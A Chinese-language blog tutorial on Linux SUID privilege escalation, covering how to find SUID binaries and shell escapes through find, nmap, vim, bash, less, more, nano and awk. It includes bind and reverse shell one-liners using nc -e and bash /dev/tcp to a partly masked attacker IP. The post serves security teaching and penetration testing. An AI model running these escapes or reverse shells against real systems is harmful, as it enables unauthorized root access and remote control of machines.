Linux提权之SUID提权

概念

SUID 是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限

若是对一些特殊命令设置了SUID,那么就会有被提权的风险,常用的SUID提权命令有nmap、vim、find、bash、more、less、nano、awk和cp等。

当s出现在文件所有者的x权限时,被称为 “set uid” 简称SUID,SUID 对一个文件的限制与功能包括有:
(1)SUID仅对二进制有效
(2)执行者对于该程序需要有x的可执行权限
(3)本权限仅在程序的执行过程中有效

设置SUID权限

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

提权利用

收集具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
  • /表示从文件系统的顶部(根)开始并找到每个目录
  • -perm 表示搜索随后的权限
  • -u = s表示查找root用户拥有的文件
  • -type表示我们正在寻找的文件类型
  • f 表示常规文件,而不是目录或特殊文件
  • 2表示该进程的第二个文件描述符,即stderr(标准错误)
  • /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

如下命令均具有s权限
image

find提权

find需要指向一个文本文件,就以/etc/passwd为例

find /etc/passwd -exec whoami \;
root

进入shell

find /etc/passwd -exec '/bin/sh' \;
sh-5.0# whoami
root

linux一般都安装了nc 我们也可以利用nc广播或者反弹shell:
广播shell(正向连接)

find user -exec nc -lvp 4444 -e '/bin/sh' \;
在攻击机上
nc 靶机ip 4444

反弹shell(反向连接)

find /etc/passwd -exec nc -e /bin/bash x.x.x.x port \;
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
在攻击机上:
nc -lnvp 4444

nmap提权

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令,适用版本:nmap2.02至5.21

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中 通过如下命令提权

nmap> !sh
sh-3.2# whoami
root

Vim提权

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim /etc/passwd

进入vim命令模式,通过vim进入shell

:set shell = '/bin/sh'
:shell

bash提权

以下命令将以root身份打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less提权

less命令也可以进入shell

less /etc/passwd
#在less中输入:
!/bin/sh

more提权

more命令进入shell和less相同

more /etc/passwd
#在more中输入:
!/bin/sh

要注意的是使用more和less一定是读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano提权

nano进入shell的方法为

nano #进入nano编辑器
Ctrl + R
Ctrl + X 
#即可输入命令

image

cp提权

使用cp 命令覆盖原来的/etc/passwd文件

awk提权

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

image

参考文章:https://www.freebuf.com/articles/web/272617.html

posted @   小阿辉谈安全  阅读(2649)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· DeepSeek在M芯片Mac上本地化部署
点击右上角即可分享
微信分享提示